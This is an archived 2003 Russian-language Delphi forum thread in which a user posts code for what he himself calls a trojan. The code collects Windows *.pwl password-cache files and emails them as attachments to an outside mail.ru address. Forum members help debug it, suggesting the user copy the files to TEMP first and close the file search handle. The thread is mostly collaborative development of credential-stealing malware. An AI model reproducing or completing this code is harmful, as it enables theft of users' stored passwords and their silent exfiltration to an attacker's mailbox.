Форум: "Потрепаться";
Текущий архив: 2003.01.27;
Скачать: [xml.tar.bz2];
ВнизНе может открыть PWLку. Найти похожие ветки
← →
grab3 (2003-01-10 17:22) [0]>ГЫ :) Нехороший ты парень :). И никто тут помогать таким как ты небудет :). ГЫЫЫЫЫЫЫЫЫ :)
>Ну и скажи, "добрый" человек: ЗАЧЕМ ТЕБЕ PWL-КА??? Любоваться на неё будешь? Или ты пароли коллекцианируешь? Типа кулл хацкер, что-ли? А что-то полезное писать не проболал?
Уважаемые мастера! Я не в коем разе не собираюсь использовать этот троян по назначению(разве что на себе самом :-). Никогда не считал себя "кул хацкером". Тот, кто думает так о себе и есть настоящий ламер. По моим соображениям это глупо. Кроме того я не хочу тратить свои силы и время на то чтобы заполучив пароли обходить АОН провайдера и пр. А потом еще и получать резиновой дубинкой по голове при неудаче.
Дело в том, что я просто учусь, как и все когда то. И кстати уже довольно многому научился благодаря всем ВАМ. На Паскале, а тем более на Дельфи я никогда не пытался программировать и даже синтаксиса то толком не знал. И только в начале месяца случайно, "от нефиг делать" поставил Дельфи и что то более или менее стало получаться.
С уважением и благодарностью,
Бенкевич Антон Леонидович
p/s/:Так не откажи те же мне во внимании уважаемые мастера
Прошу прощения модераторов за лирическое отступление не по теме...:-)
Так вот:
if NMSMTP1.Connected then //если подключились
begin
NMSMTP1.PostMessage.FromAddress :="Trojan@mail.ru";
NMSMTP1.PostMessage.FromName := "PASSWORDS";
NMSMTP1.PostMessage.ToAddress.Add("tome@mail.ru");
NMSMTP1.PostMessage.Body.Add("Ip: "+NMSMTP1.LocalIP);
NMSMTP1.PostMessage.Subject := "First Trojan";
firsts:=findfirstfile(pchar(windir+"\"+"*.pwl") ,ff);
nmsmtp1.PostMessage.Attachments.Add(ff.cFileName);
while findnextfile(firsts,nf) do
begin
findnextfile(firsts,nf);
nmsmtp1.PostMessage.Attachments.Add(windir+"\"+ff.cFileName);
end;
end;
//
try
NMSMTP1.SendMail; // посылаем письмо
except
form1.Close;
end;
При посылке мыла ругается: "Can"t open такойто.pwl". В чем может быть дело?
windir+"\"+ff.cFileName - "эта конструкция показывает совершенно корректный путь к файлу...
Тут говорилось, что PWL виндами открыт постоянно, ноя ведь его читаю, а не записываю в него...
Вобще он раньше открывался, а сейчас не хотит.
← →
flipper (2003-01-10 17:36) [1]У меня такая же фигня когда то была, тока забыл где исходник валяется...
← →
Zemal (2003-01-10 17:36) [2]Попробуй сначала скопировать этот файл в какой-нибудь каталог, т.к., видимо, во время отправки(а это дело не быстрое) файл изменяется. Копирни его в TEMP, затем отправляй :).
← →
grab3 (2003-01-10 17:53) [3]До меня видимо дошло. Поиск надо закрыть, но он ругаться начинает по поводу типов. Types of actual and formal var params. must be ident.
while findnextfile(firsts,nf) do
begin
findnextfile(firsts,nf);
nmsmtp1.PostMessage.Attachments.Add(windir+"\"+ff.cFileName);
end;
findclose(firsts);
← →
Zemal (2003-01-10 18:05) [4]Точно, поиск надо закрывать :). Это как два пальца об асфальт :).
← →
Vit@ly (2003-01-10 18:12) [5]Проверь мыло
Страницы: 1 вся ветка
Форум: "Потрепаться";
Текущий архив: 2003.01.27;
Скачать: [xml.tar.bz2];
Память: 0.45 MB
Время: 0.012 c